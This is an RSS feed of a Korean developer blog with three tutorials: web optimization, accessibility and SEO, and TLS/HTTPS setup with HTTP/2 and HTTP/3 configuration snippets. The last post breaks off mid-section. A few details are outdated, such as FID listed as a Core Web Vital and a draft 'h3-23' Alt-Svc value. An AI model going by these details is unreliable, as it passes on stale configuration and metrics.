<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Kylie's Archive</title>
        <link>https://velog.io/</link>
        <description>올해보단 낫겠지....</description>
        <lastBuildDate>Thu, 31 Jul 2025 06:12:02 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Kylie's Archive</title>
            <url>https://velog.velcdn.com/images/kylie_03/profile/6bcd06d4-530a-4d3d-a19c-5186f232c62a/social_profile.png</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. Kylie's Archive. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/kylie_03" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[웹 최적화, 왜 중요하고 어떻게 할까?]]></title>
            <link>https://velog.io/@kylie_03/%EC%9B%B9-%EC%B5%9C%EC%A0%81%ED%99%94-%EC%99%9C-%EC%A4%91%EC%9A%94%ED%95%98%EA%B3%A0-%EC%96%B4%EB%96%BB%EA%B2%8C-%ED%95%A0%EA%B9%8C</link>
            <guid>https://velog.io/@kylie_03/%EC%9B%B9-%EC%B5%9C%EC%A0%81%ED%99%94-%EC%99%9C-%EC%A4%91%EC%9A%94%ED%95%98%EA%B3%A0-%EC%96%B4%EB%96%BB%EA%B2%8C-%ED%95%A0%EA%B9%8C</guid>
            <pubDate>Thu, 31 Jul 2025 06:12:02 GMT</pubDate>
            <description><![CDATA[<h1 id="들어가기-전">들어가기 전</h1>
<p>웹 개발을 하다 보면 사용자에게 빠르고 쾌적한 웹 서비스를 제공하는 것이 얼마나 중요한지 깨닫게 됩니다. 마치 잘 정돈된 식당에서 음식이 빨리 나오고, 관공서에서 서류 처리가 신속하게 이루어지며, 스마트폰 앱이 버벅거림 없이 잘 작동하는 것처럼 말이죠.</p>
<p>이번 글에서는 사용자들이 웹사이트를 더 빠르고 효율적으로 이용할 수 있도록 만들어주는 중요한 작업, 바로 웹 최적화에 대해 알아보겠습니다. 웹 최적화는 단순히 페이지 로딩 속도를 높이는 것을 넘어, 사용자 경험을 향상시키고, 검색 엔진 노출에 긍정적인 영향을 미치며, 서버 비용을 절감하는 등 다양한 이점을 제공합니다. 간단한 예시와 함께 웹 최적화의 중요성을 이해하고, 어떤 방법들이 있는지 함께 살펴보겠습니다.</p>
<hr>
</br>

<h1 id="1-이미지-최적화">1. 이미지 최적화</h1>
<p>웹사이트에서 가장 많은 용량을 차지하는 것 중 하나가 바로 이미지입니다. 고해상도 이미지를 그대로 사용하면 웹 페이지 로딩 속도를 현저히 떨어뜨릴 수 있어요.</p>
<ul>
<li><strong>JPEG, PNG, WebP 등 적절한 포맷 사용:</strong> 사진에는 <strong>JPEG</strong>, 투명 배경이 필요한 아이콘 등에는 <strong>PNG</strong>가 적합합니다. <strong>WebP</strong>는 JPEG나 PNG보다 압축 효율이 뛰어나면서도 품질 손실이 적어 최근 각광받고 있는 포맷입니다.</li>
<li><strong>이미지 압축:</strong> TinyPNG, Squoosh 등과 같은 도구를 사용하여 이미지 용량을 줄일 수 있습니다.</li>
<li><strong>반응형 이미지:</strong> 사용자의 화면 크기에 따라 적절한 크기의 이미지를 제공하여 불필요하게 큰 이미지를 로딩하지 않도록 합니다. <code>srcset</code> 속성 등을 활용할 수 있습니다.</li>
<li><strong>지연 로딩 (Lazy Loading):</strong> 당장 사용자 화면에 보이지 않는 이미지는 나중에 스크롤될 때 로딩되도록 하여 초기 로딩 속도를 향상시킵니다. <code>loading=&quot;lazy&quot;</code> 속성을 이미지 태그에 추가하면 됩니다.</li>
</ul>
</br>

<h1 id="2-코드-최적화">2. 코드 최적화</h1>
<p>HTML, CSS, JavaScript 코드도 최적화가 필요합니다. 불필요한 공백, 주석, 사용되지 않는 코드 등은 파일 크기를 늘려 로딩 시간을 지연시킬 수 있습니다.</p>
<ul>
<li><strong>코드 압축 (Minification):</strong> HTML, CSS, JavaScript 파일에서 공백, 주석 등을 제거하여 파일 크기를 줄입니다. 빌드 도구(Webpack, Gulp 등)를 사용하면 쉽게 자동화할 수 있습니다.</li>
<li><strong>번들링 (Bundling):</strong> 여러 개의 JavaScript 또는 CSS 파일을 하나로 묶어 네트워크 요청 횟수를 줄입니다.</li>
<li><strong>사용하지 않는 CSS/JS 제거:</strong> 웹사이트에 실제로 사용되지 않는 CSS나 JavaScript 코드가 있다면 과감히 제거합니다. (트리 쉐이킹(Tree Shaking) 같은 개념과 연관됩니다.)</li>
</ul>
</br>

<h1 id="3-캐싱-활용">3. 캐싱 활용</h1>
<p>캐싱은 자주 요청되는 데이터를 임시 저장소에 보관해 두었다가, 다음에 같은 요청이 들어오면 서버에 다시 요청하지 않고 저장된 데이터를 바로 제공하는 방식입니다.</p>
<ul>
<li><strong>브라우저 캐시:</strong> 웹 브라우저가 CSS, JavaScript, 이미지 등 정적 파일을 사용자의 컴퓨터에 저장해 두었다가 재방문 시 다시 다운로드하지 않도록 합니다. HTTP 헤더 (Cache-Control, Expires 등)를 설정하여 제어할 수 있습니다.</li>
<li><strong>서버 캐시:</strong> 데이터베이스 쿼리 결과, API 응답 등 동적으로 생성되는 데이터를 서버 메모리에 저장하여 매번 다시 계산하거나 조회하지 않도록 합니다. Redis, Memcached 등의 도구를 활용할 수 있습니다.</li>
</ul>
</br>

<h1 id="4-서버-응답-시간-단축">4. 서버 응답 시간 단축</h1>
<p>아무리 프론트엔드 최적화를 잘해도 서버 응답 시간이 느리면 전체적인 웹사이트 속도는 느려질 수밖에 없습니다.</p>
<ul>
<li><strong>효율적인 데이터베이스 쿼리:</strong> 데이터베이스 쿼리가 너무 많거나 비효율적이면 응답 시간이 길어집니다. 인덱스 설정, N+1 쿼리 방지 등을 통해 개선할 수 있습니다.</li>
<li><strong>서버 하드웨어 개선:</strong> CPU, 메모리 등 서버 사양을 업그레이드하거나 더 많은 서버를 사용하여 부하를 분산합니다.</li>
<li><strong>CDN (콘텐츠 전송 네트워크) 사용:</strong> 사용자에게 가까운 CDN 서버에서 정적 파일을 전송하여 물리적인 거리에 따른 지연 시간을 줄입니다.</li>
</ul>
</br>

<h1 id="5-렌더링-최적화">5. 렌더링 최적화</h1>
<p>웹 페이지가 화면에 그려지는 과정(렌더링)도 최적화할 수 있습니다.</p>
<ul>
<li><strong>CSS와 JavaScript의 위치:</strong> CSS는 <code>&lt;head&gt;</code> 태그 안에 두어 페이지가 빠르게 스타일링되도록 하고, JavaScript는 <code>&lt;body&gt;</code> 태그 닫히는 부분 바로 위에 두어 HTML 콘텐츠가 먼저 렌더링되도록 합니다. <code>defer</code>나 <code>async</code> 속성을 활용할 수도 있습니다.</li>
<li><strong>Critical CSS:</strong> 페이지를 로드했을 때 가장 먼저 보이는 부분(폴드 위, Above the Fold)에 필요한 CSS만 따로 추출하여 인라인으로 삽입하여 초기 렌더링을 빠르게 합니다.</li>
<li><strong>레이아웃 스래싱 방지:</strong> JavaScript에서 DOM 조작을 반복적으로 수행할 때 발생하는 불필요한 레이아웃 계산을 최소화합니다.</li>
</ul>
<hr>
</br>

<h1 id="부록-웹-최적화-도구-및-지표">부록: 웹 최적화 도구 및 지표</h1>
<p>웹 최적화는 단순히 감으로 하는 것이 아니라, 다양한 도구를 활용하여 측정하고 분석하며 개선해나가야 합니다.</p>
<ul>
<li><strong>Google Lighthouse:</strong> Chrome 개발자 도구에 내장되어 있어 웹 페이지의 성능, 접근성, SEO 등을 종합적으로 분석하고 개선 방안을 제시해줍니다.</li>
<li><strong>Google PageSpeed Insights:</strong> 웹 페이지 URL을 입력하면 Lighthouse와 비슷한 분석 결과를 제공하며, 모바일 및 데스크톱 환경에서의 점수와 개선 권장 사항을 보여줍니다.</li>
<li><strong>Web Vitals:</strong> Google에서 제시하는 핵심 웹 지표(Core Web Vitals)로, 사용자의 실제 경험을 측정하는 데 중요한 지표입니다.<ul>
<li><strong>LCP (Largest Contentful Paint):</strong> 페이지의 가장 큰 콘텐츠(이미지, 텍스트 블록 등)가 렌더링되는 시간.</li>
<li><strong>FID (First Input Delay):</strong> 사용자가 처음으로 페이지와 상호작용할 때(버튼 클릭 등)부터 브라우저가 응답하기까지의 시간. (실제 사용자 경험에 기반)</li>
<li><strong>CLS (Cumulative Layout Shift):</strong> 페이지 콘텐츠가 얼마나 예상치 못하게 움직이는지를 측정하는 지표.</li>
</ul>
</li>
<li><strong>GTmetrix:</strong> 웹 페이지의 성능을 분석하고 워터폴(Waterfall) 차트 등을 통해 각 리소스의 로딩 시간을 시각적으로 보여줍니다.</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[웹 접근성과 SEO]]></title>
            <link>https://velog.io/@kylie_03/%EC%9B%B9-%EC%A0%91%EA%B7%BC%EC%84%B1%EA%B3%BC-SEO</link>
            <guid>https://velog.io/@kylie_03/%EC%9B%B9-%EC%A0%91%EA%B7%BC%EC%84%B1%EA%B3%BC-SEO</guid>
            <pubDate>Thu, 31 Jul 2025 05:55:35 GMT</pubDate>
            <description><![CDATA[<h1 id="들어가기-전">들어가기 전</h1>
<p><em>&quot;코드만 잘 짜면 되지 않나요?&quot;</em> 라고 생각하실 수도 있습니다. 하지만 아무리 뛰어난 기술력으로 만든 웹사이트라도, 특정 사용자만 이용할 수 있거나 아무도 찾지 못한다면 무슨 소용이 있을까요?</p>
<p><strong>웹 접근성</strong>은 이름 그대로 &#39;웹에 얼마나 잘 접근할 수 있는가&#39;를 의미합니다. 시각, 청각, 지체 장애는 물론 고령자, 일시적인 부상 등으로 인해 웹사이트를 이용하는 데 어려움을 겪는 모든 사용자가 웹 콘텐츠를 제약 없이 이용할 수 있도록 하는 것을 목표로 합니다. 이는 단순한 배려를 넘어, 차별 없는 정보 접근을 보장하는 <strong>기본적인 권리</strong>이자, 더 넓은 잠재 고객에게 도달할 수 있는 <strong>비즈니스 기회</strong>이기도 합니다.</p>
<p>그렇다면 <strong>SEO</strong>는 무엇일까요? 웹사이트를 바다에 띄운 배라고 상상해 보세요. SEO는 이 배가 나침반 없이 망망대해를 헤매는 대신, 사람들이 검색이라는 등대를 보고 쉽게 찾아올 수 있도록 돕는 기술입니다. 구글, 네이버 같은 검색 엔진이 여러분의 웹사이트를 더 잘 &#39;이해&#39;하고, 검색 결과 상위에 노출시켜 더 많은 트래픽을 유도하는 일련의 과정이죠. 결국 웹사이트의 <strong>가시성</strong>을 높여 더 많은 사람에게 도달하게 하는 핵심 전략입니다.</p>
<p>이 두 가지는 별개의 개념처럼 보이지만, 사실은 밀접하게 연결되어 있습니다. <strong>잘 만들어진 접근성 좋은 웹사이트는 검색 엔진이 더 쉽게 크롤링하고 인덱싱할 수 있게 도와주며, 이는 결국 SEO 점수를 높이는 데 긍정적인 영향을 미칩니다.</strong> 결국 웹 접근성과 SEO는 &#39;모두를 위한 웹&#39;이라는 큰 목표 아래 시너지를 내는 셈입니다.</p>
<hr>
</br>

<h1 id="1-의미-있는-html-semantic-html-사용하기">1. 의미 있는 HTML (Semantic HTML) 사용하기</h1>
<p>웹 접근성과 SEO의 가장 기본이자 핵심입니다. <code>&lt;div&gt;</code>와 <code>&lt;span&gt;</code>으로만 가득 찬 코드 대신, 각 요소의 의미를 살린 HTML 태그를 사용하세요.</p>
<ul>
<li><strong><code>&lt;header&gt;</code>, <code>&lt;nav&gt;</code>, <code>&lt;main&gt;</code>, <code>&lt;article&gt;</code>, <code>&lt;section&gt;</code>, <code>&lt;footer&gt;</code> 등</strong> 구조적인 태그를 사용하여 웹 페이지의 논리적인 흐름을 명확하게 제시합니다. 스크린 리더는 이 태그들을 통해 페이지 구조를 파악하고, 검색 엔진은 콘텐츠의 중요도를 이해합니다.</li>
<li><strong><code>&lt;button&gt;</code>, <code>&lt;input&gt;</code>, <code>&lt;form&gt;</code> 등</strong> 인터랙티브 요소에는 적절한 태그를 사용하세요. 시각 장애인 사용자는 버튼이 버튼처럼 작동하고, 입력 필드가 입력 필드임을 명확히 인지해야 합니다.</li>
</ul>
</br>

<h1 id="2-이미지에는-alt-속성을">2. 이미지에는 <code>alt</code> 속성을!</h1>
<p>이미지는 웹사이트의 시각적인 매력을 더하지만, 시각 장애인에게는 장벽이 될 수 있습니다. 이때 <code>alt</code> (대체 텍스트) 속성이 구세주처럼 등장합니다.</p>
<ul>
<li><code>&lt;img src=&quot;cat.jpg&quot; alt=&quot;귀여운 새끼 고양이가 솜방망이 같은 앞발을 내밀고 있는 모습&quot;&gt;</code></li>
<li><code>alt</code> 속성에는 이미지가 담고 있는 정보를 <strong>명확하고 간결하게</strong> 설명해 주세요. 스크린 리더는 이 텍스트를 읽어주며, 이미지가 로드되지 않았을 때도 사용자가 내용을 파악할 수 있게 합니다.</li>
<li><strong>SEO 측면에서도 중요합니다!</strong> 검색 엔진은 <code>alt</code> 텍스트를 통해 이미지의 내용을 파악하고, 관련성 높은 검색어에 이미지 검색 결과로 노출시킬 수 있습니다.</li>
</ul>
</br>

<h1 id="3-명확한-제목-계층-heading-structure-활용하기">3. 명확한 제목 계층 (Heading Structure) 활용하기</h1>
<p>신문 기사를 읽는다고 생각해 보세요. 헤드라인(H1), 주요 소제목(H2), 세부 소제목(H3) 등이 체계적으로 구성되어 있죠? 웹 페이지도 마찬가지입니다.</p>
<ul>
<li><code>&lt;h1&gt;</code> 태그는 페이지당 하나만 사용하여 가장 중요한 제목을 나타내세요.</li>
<li><code>&lt;h2&gt;</code>, <code>&lt;h3&gt;</code>, <code>&lt;h4&gt;</code> 등을 순서에 맞게 사용하여 콘텐츠의 논리적인 계층을 만듭니다.</li>
<li>이는 스크린 리더 사용자가 페이지를 빠르게 탐색하는 데 도움을 주며, 검색 엔진 또한 이 제목 태그들을 통해 콘텐츠의 핵심 주제와 중요도를 파악합니다.</li>
</ul>
</br>

<h1 id="4-키보드-탐색-가능하게-만들기">4. 키보드 탐색 가능하게 만들기</h1>
<p>마우스 없이 키보드만으로 웹사이트를 이용하는 사용자가 많습니다. (장애인, 혹은 단순히 마우스 사용이 불편한 경우)</p>
<ul>
<li><strong>모든 인터랙티브 요소(버튼, 링크, 입력 필드 등)는 Tab 키로 이동 가능해야 합니다.</strong></li>
<li>포커스(Focus) 시각적 표시(<code>:focus</code> CSS 속성)를 명확하게 해주어 사용자가 현재 어디에 있는지 알 수 있도록 해야 합니다.</li>
<li>드롭다운 메뉴나 모달창 등 복잡한 UI는 키보드 조작이 가능하도록 WAI-ARIA(Web Accessibility Initiative - Accessible Rich Internet Applications) 속성을 적절히 활용하는 것이 좋습니다.</li>
</ul>
</br>

<h1 id="5-반응형-웹-디자인">5. 반응형 웹 디자인</h1>
<p>오늘날 대부분의 웹 트래픽은 모바일에서 발생합니다.</p>
<ul>
<li><strong>다양한 디바이스(PC, 태블릿, 모바일)에서 레이아웃이 깨지지 않고 최적화된 형태로 보여지는 반응형 웹 디자인은 기본 중의 기본입니다.</strong></li>
<li>이는 모바일 사용자 경험을 향상시킬 뿐만 아니라, 검색 엔진이 모바일 친화적인 웹사이트에 더 높은 점수를 부여하므로 SEO에도 큰 영향을 미칩니다.</li>
</ul>
</br>

<hr>
<h1 id="부록">부록</h1>
<p>웹 접근성과 SEO는 꾸준한 관심과 노력이 필요한 분야입니다. 다행히 우리를 도와줄 훌륭한 도구들이 많습니다.</p>
<ul>
<li><strong>Lighthouse (크롬 개발자 도구):</strong> 웹 페이지의 성능, 접근성, SEO, 권장 사항 등을 종합적으로 분석하고 점수를 매겨줍니다. 이 도구에서 제공하는 가이드를 따라가다 보면 많은 개선점을 찾을 수 있을 겁니다.</li>
<li><strong>Google Search Console:</strong> 구글 검색 엔진이 여러분의 웹사이트를 어떻게 인식하고 있는지 보여줍니다. 크롤링 오류, 색인 현황, 검색어별 노출 통계 등 SEO와 관련된 중요한 정보를 얻을 수 있습니다.</li>
<li><strong>Naver Search Advisor:</strong> 네이버 검색에 특화된 도구입니다. 사이트맵 제출, 로봇 배제 표준(robots.txt) 설정 등 국내 사용자들에게 중요한 SEO 정보를 제공합니다.</li>
<li><strong>WAVE (Web Accessibility Evaluation Tool):</strong> 웹 접근성 오류를 시각적으로 보여주는 도구입니다. 특정 페이지의 접근성 문제점을 빠르게 파악하고 수정하는 데 유용합니다.</li>
</ul>
<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[보안 헤더 & 암호화로 철통 방어하기]]></title>
            <link>https://velog.io/@kylie_03/%EB%B3%B4%EC%95%88-%ED%97%A4%EB%8D%94-%EC%95%94%ED%98%B8%ED%99%94%EB%A1%9C-%EC%B2%A0%ED%86%B5-%EB%B0%A9%EC%96%B4%ED%95%98%EA%B8%B0</link>
            <guid>https://velog.io/@kylie_03/%EB%B3%B4%EC%95%88-%ED%97%A4%EB%8D%94-%EC%95%94%ED%98%B8%ED%99%94%EB%A1%9C-%EC%B2%A0%ED%86%B5-%EB%B0%A9%EC%96%B4%ED%95%98%EA%B8%B0</guid>
            <pubDate>Mon, 21 Jul 2025 02:24:07 GMT</pubDate>
            <description><![CDATA[<h1 id="들어가기-전">들어가기 전</h1>
<p>인터넷으로 데이터를 주고받을 때, 마치 엽서를 우편함에 넣어 보내는 것과 같아요. 누구든 중간에 엽서 내용을 볼 수 있죠. 이처럼 중요한 데이터가 안전하게 전달되도록 돕는 것이 바로 <strong>보안 헤더</strong>와 <strong>암호화</strong>입니다.</p>
<p><strong>보안 헤더</strong>는 웹 브라우저와 서버가 서로 지켜야 할 약속(규칙)을 정하는 역할을 해요. 예를 들어, &#39;이 웹사이트는 무조건 HTTPS로만 접속해야 해!&#39; 같은 규칙을 알려주는 거죠.</p>
<p><strong>암호화</strong>는 데이터 내용을 알아볼 수 없도록 꽁꽁 싸매는 거예요. 마치 비밀 편지를 암호로 쓰는 것처럼요. 이렇게 하면 제3자가 중간에 데이터를 가로채도 내용을 읽을 수 없게 됩니다.</p>
<hr>
<h2 id="1-https와-tls-안전한-웹의-시작">1. HTTPS와 TLS: 안전한 웹의 시작</h2>
<h3 id="1-1-ssl-vs-tls-이름은-다르지만-결국-그-기술이-발전한-거예요">1-1. SSL vs TLS: 이름은 다르지만 결국 &#39;그 기술&#39;이 발전한 거예요!</h3>
<p>웹을 안전하게 지켜주는 암호화 기술에는 <strong>SSL(Secure Sockets Layer)</strong> 과 <strong>TLS(Transport Layer Security)</strong> 가 있어요. 쉽게 말해, SSL이 먼저 나왔고, TLS는 SSL의 업그레이드 버전이라고 생각하면 돼요.</p>
<p>우리가 흔히 &#39;SSL 인증서&#39;라고 부르지만, 실제로 웹 통신을 암호화하는 건 이 <strong>인증서</strong>를 서버에 설치해서 TLS 프로토콜을 사용하게 하는 거예요.</p>
<ul>
<li><strong>SSL</strong>: 1990년대 초에 처음 나왔지만, 보안에 약점(POODLE 같은 공격)이 발견돼서 지금은 거의 쓰지 않아요. 오래된 기술이죠.</li>
<li><strong>TLS</strong>: SSL을 더욱 강력하고 빠르게 만든 후속 버전이에요. 지금은 대부분의 웹사이트가 <strong>TLS 1.2</strong>를 쓰고 있고, 가장 최신 버전인 <strong>TLS 1.3</strong>은 훨씬 더 빠르고 안전해서 적극 권장되고 있어요.</li>
</ul>
<table>
<thead>
<tr>
<th align="left">프로토콜 이름</th>
<th align="left">주요 특징</th>
<th align="left">지금 사용해도 될까요?</th>
</tr>
</thead>
<tbody><tr>
<td align="left">SSL 3.0</td>
<td align="left">초창기 암호화 기술</td>
<td align="left"><strong>사용하지 마세요!</strong> 보안에 취약해요.</td>
</tr>
<tr>
<td align="left">TLS 1.0</td>
<td align="left">SSL 3.0을 개선했지만 여전히 오래된 기술</td>
<td align="left">아주 오래된 환경이 아니라면 <strong>사용하지 마세요.</strong></td>
</tr>
<tr>
<td align="left">TLS 1.2</td>
<td align="left">강력한 암호화, 빠르고 안전함</td>
<td align="left"><strong>지금 대부분의 웹사이트에서 쓰고 있어요!</strong></td>
</tr>
<tr>
<td align="left">TLS 1.3</td>
<td align="left">더 빠르고, 더 안전한 최신 기술</td>
<td align="left"><strong>가장 추천하는 버전이에요!</strong></td>
</tr>
</tbody></table>
<blockquote>
<p>💡 웹사이트 서버에서는 최소한 <strong>TLS 1.2</strong> 이상을 사용해야 하고, 가능하면 <strong>TLS 1.3</strong>만 허용해서 최고 수준의 보안과 속도를 확보하는 것이 좋아요.</p>
</blockquote>
<h3 id="1-2-https-적용-과정-내-웹사이트에-자물쇠-달아주기">1-2. HTTPS 적용 과정: 내 웹사이트에 자물쇠 달아주기</h3>
<p>HTTPS는 웹사이트 주소 앞에 🔓&#39;자물쇠&#39; 모양이 생기고 &#39;https://&#39;로 시작하게 하는 거예요. 이걸 적용하려면 다음 과정을 거쳐야 해요.</p>
<ol>
<li><p><strong>인증서 발급받기</strong>:</p>
<ul>
<li>Let&#39;s Encrypt (무료), DigiCert, GlobalSign (유료) 같은 전문 기관에서 &#39;우리 웹사이트가 진짜예요!&#39;라는 것을 증명하는 <strong>인증서</strong>를 발급받아요.</li>
<li><strong>예시: Let&#39;s Encrypt의 Certbot 사용 (리눅스 명령어)</strong><pre><code class="language-bash">sudo certbot certonly --standalone -d example.com -d www.example.com</code></pre>
이 명령어를 입력하면 <code>example.com</code>과 <code>www.example.com</code> 도메인에 대한 인증서를 자동으로 발급받을 수 있어요. 발급된 인증서는 <code>fullchain.pem</code>(인증서 파일)과 <code>privkey.pem</code>(개인키 파일)이라는 이름으로 저장됩니다.</li>
</ul>
</li>
<li><p><strong>서버에 인증서 설치하기</strong>:</p>
<ul>
<li><p>발급받은 인증서 파일을 웹사이트가 돌아가는 서버에 설정해 줘야 해요. 서버 종류마다 설정 방법이 조금씩 달라요.</p>
</li>
<li><p><strong>NGINX (엔진엑스) 서버 예시</strong>:</p>
<pre><code class="language-nginx">server {
  listen 443 ssl; # 443 포트로 HTTPS 접속을 받아요
  server_name example.com; # 이 도메인에 적용해요

  ssl_certificate       /etc/letsencrypt/live/example.com/fullchain.pem; # 인증서 파일 위치
  ssl_certificate_key   /etc/letsencrypt/live/example.com/privkey.pem; # 개인키 파일 위치

  ssl_protocols         TLSv1.2 TLSv1.3; # TLS 1.2와 1.3만 허용해요
  ssl_ciphers           HIGH:!aNULL:!MD5; # 안전한 암호화 방식만 사용해요

  # 기타 필요한 설정들...
}</code></pre>
</li>
<li><p><strong>Apache (아파치) 서버 예시</strong>:</p>
<pre><code class="language-apache">&lt;VirtualHost *:443&gt; # 443 포트로 HTTPS 접속을 받아요
  ServerName example.com # 이 도메인에 적용해요

  SSLEngine on # SSL/TLS 기능을 켜요
  SSLCertificateFile    /etc/letsencrypt/live/example.com/fullchain.pem # 인증서 파일 위치
  SSLCertificateKeyFile /etc/letsencrypt/live/example.com/privkey.pem # 개인키 파일 위치

  SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1 # SSLv3, TLSv1, TLSv1.1은 사용하지 않아요
  SSLCipherSuite HIGH:!aNULL:!MD5 # 안전한 암호화 방식만 사용해요

  # 기타 필요한 설정들...
&lt;/VirtualHost&gt;</code></pre>
</li>
<li><p><strong>Express.js (Node.js) 웹 애플리케이션 예시</strong>:</p>
<pre><code class="language-js">const fs = require(&#39;fs&#39;);
const https = require(&#39;https&#39;); // HTTPS 모듈을 불러와요
const express = require(&#39;express&#39;);

const app = express();
const options = {
  key: fs.readFileSync(&#39;/etc/letsencrypt/live/example.com/privkey.pem&#39;), // 개인키 파일 읽기
  cert: fs.readFileSync(&#39;/etc/letsencrypt/live/example.com/fullchain.pem&#39;), // 인증서 파일 읽기
};

https.createServer(options, app).listen(443, () =&gt; { // HTTPS 서버를 443 포트로 시작
  console.log(&#39;HTTPS server running on port 443&#39;);
});</code></pre>
</li>
</ul>
</li>
<li><p><strong>인증서 자동 갱신 설정하기</strong>:</p>
<ul>
<li>Let&#39;s Encrypt 인증서는 90일마다 갱신해야 해요. 매번 수동으로 하면 너무 번거롭겠죠? <code>certbot renew</code> 명령을 컴퓨터가 알아서 실행하도록 설정(크론탭 등록)해두면 편리해요.</li>
<li><strong>자동 갱신 명령어 (리눅스)</strong><pre><code class="language-cron">0 0 * * * certbot renew --quiet</code></pre>
이 명령은 매일 자정(새벽 0시)에 <code>certbot renew</code>를 조용히 실행하라는 뜻이에요.</li>
</ul>
</li>
<li><p><strong>제대로 적용되었는지 확인하기</strong>:</p>
<ul>
<li><code>openssl</code>이라는 명령어를 사용해서 여러분의 웹사이트가 어떤 TLS 버전을 쓰고 있는지, 암호화 강도는 어떤지 확인할 수 있어요.<pre><code class="language-bash">openssl s_client -connect example.com:443 -tls1_2</code></pre>
</li>
<li>또는 <strong>SSL Labs의 SSL Server Test</strong> 같은 온라인 도구를 사용하면 훨씬 쉽게 웹사이트의 HTTPS 설정을 점검해 볼 수 있어요.</li>
</ul>
</li>
</ol>
<blockquote>
<p><strong>Tip:</strong> 사람들이 <code>http://example.com</code>으로 접속해도 자동으로 <code>https://example.com</code>으로 연결되도록 서버 설정을 해주는 걸 잊지 마세요! (NGINX에서는 <code>return 301 https://$host$request_uri;</code> 같은 설정을 사용해요.)</p>
</blockquote>
<hr>
<h2 id="2-http2--http3-웹사이트를-더-빠르고-안전하게">2. HTTP/2 &amp; HTTP/3: 웹사이트를 더 빠르고 안전하게!</h2>
<p>HTTP는 웹에서 데이터를 주고받는 규칙인데, 버전이 계속 업그레이드되고 있어요. 최신 버전들은 보안과 속도를 모두 잡았답니다.</p>
<h3 id="2-1-http2의-보안-및-성능-이점">2-1. HTTP/2의 보안 및 성능 이점</h3>
<p>HTTP/2는 기존 HTTP/1.1보다 웹페이지를 훨씬 빠르게 로딩할 수 있게 해줘요.</p>
<ul>
<li><strong>멀티플렉싱</strong>: 한 번에 여러 개의 요청(데이터)을 주고받을 수 있어요. 마치 하나의 도로에서 여러 대의 차가 동시에 달리는 것처럼요. 덕분에 암호화 과정(TLS 핸드쉐이크)에서 생기는 시간 지연을 줄일 수 있어요.</li>
<li><strong>헤더 압축(HPACK)</strong>: 웹 통신 시 필요한 부가 정보(헤더)를 꽉 압축해서 보내요. 덕분에 네트워크 데이터를 절약할 수 있죠.</li>
<li><strong>서버 푸시</strong>: 웹페이지를 보여줄 때 필요한 이미지나 스타일(CSS), 스크립트(JS) 같은 파일들을 클라이언트(사용자 웹브라우저)가 요청하기도 전에 서버가 미리 보내줘요. 페이지가 훨씬 빨리 뜨겠죠?</li>
</ul>
<h3 id="2-2-http3--quic-차세대-웹의-주인공">2-2. HTTP/3 &amp; QUIC: 차세대 웹의 주인공</h3>
<p>HTTP/3는 아직 초기 단계이지만, 앞으로 웹의 표준이 될 강력한 프로토콜이에요.</p>
<ul>
<li>**QUIC(퀵)**이라는 새로운 통신 규칙(UDP 기반)을 사용해요. 기존보다 연결 지연 시간을 확 줄여주고, 한 번 접속했던 웹사이트에 다시 방문할 때는 훨씬 더 빨리 데이터를 주고받을 수 있도록 해줘요 (이걸 <strong>0-RTT</strong> 연결이라고 불러요).</li>
<li>HTTP/2의 장점들(멀티플렉싱, 헤더 압축)을 그대로 가지고 있으면서, 네트워크 상태가 안 좋을 때(패킷 손실)도 데이터를 더 빨리 복구할 수 있는 능력이 있어요.</li>
</ul>
<h3 id="2-3-내-웹사이트에-http2와-http3-적용하기">2-3. 내 웹사이트에 HTTP/2와 HTTP/3 적용하기</h3>
<p>여러분의 웹사이트에 HTTP/2와 HTTP/3를 적용하려면, 사용 중인 서버가 이 기술들을 지원해야 해요.</p>
<p><strong>1) NGINX (엔진엑스)에서 HTTP/2 활성화하기</strong></p>
<pre><code class="language-nginx">server {
  listen 443 ssl http2; # 443 포트로 HTTPS와 HTTP/2를 함께 사용해요
  server_name example.com;

  ssl_certificate       /etc/letsencrypt/live/example.com/fullchain.pem;
  ssl_certificate_key   /etc/letsencrypt/live/example.com/privkey.pem;

  ssl_protocols         TLSv1.2 TLSv1.3;
  add_header            Alt-Svc &#39;h2=&quot;:443&quot;&#39;; # 클라이언트에게 HTTP/2를 지원한다고 알려줘요
}</code></pre>
<p><code>listen ... http2;</code> 부분이 HTTP/2를 켜는 설정이에요.</p>
<p><strong>2) NGINX (엔진엑스)에서 HTTP/3 (QUIC) 활성화하기</strong></p>
<pre><code class="language-nginx">server {
  listen 443 ssl http2;
  listen 443 quic reuseport; # QUIC 프로토콜을 사용하고, 443 포트를 재사용해요
  server_name example.com;

  ssl_certificate       /etc/letsencrypt/live/example.com/fullchain.pem;
  ssl_certificate_key   /etc/letsencrypt/live/example.com/privkey.pem;

  ssl_protocols         TLSv1.3; # QUIC는 TLS 1.3만 사용해요
  ssl_prefer_server_ciphers off;
  ssl_ciphers           TLS_AES_128_GCM_SHA256; # 사용할 암호화 방식

  add_header Alt-Svc &#39;h3-23=&quot;:443&quot;&#39;; # 클라이언트에게 HTTP/3를 지원한다고 알려줘요
  add_header QUIC-Status $quic;
}</code></pre>
<p>HTTP/3(QUIC)를 사용하려면 NGINX와 OpenSSL 버전에 특별한 설정이 필요할 수 있어요.</p>
<p><strong>3) Apache (아파치)에서 HTTP/2 활성화하기</strong></p>
<pre><code class="language-apache">LoadModule http2_module modules/mod_http2.so # HTTP/2 모듈을 불러와요
Protocols h2 http/1.1 # HTTP/2를 기본으로 사용하고, 없으면 HTTP/1.1을 사용해요

&lt;VirtualHost *:443&gt;
  ServerName example.com

  SSLEngine on
  SSLCertificateFile    /etc/letsencrypt/live/example.com/fullchain.pem
  SSLCertificateKeyFile /etc/letsencrypt/live/example.com/privkey.pem

  ProtocolsHonorOrder On
  Protocols h2 h2c http/1.1
&lt;/VirtualHost&gt;</code></pre>
<p><code>mod_http2</code> 모듈을 로드하고 <code>Protocols</code> 지시자로 우선순위를 정해줘요.</p>
<p><strong>4) HTTP/3 지원 고려사항</strong></p>
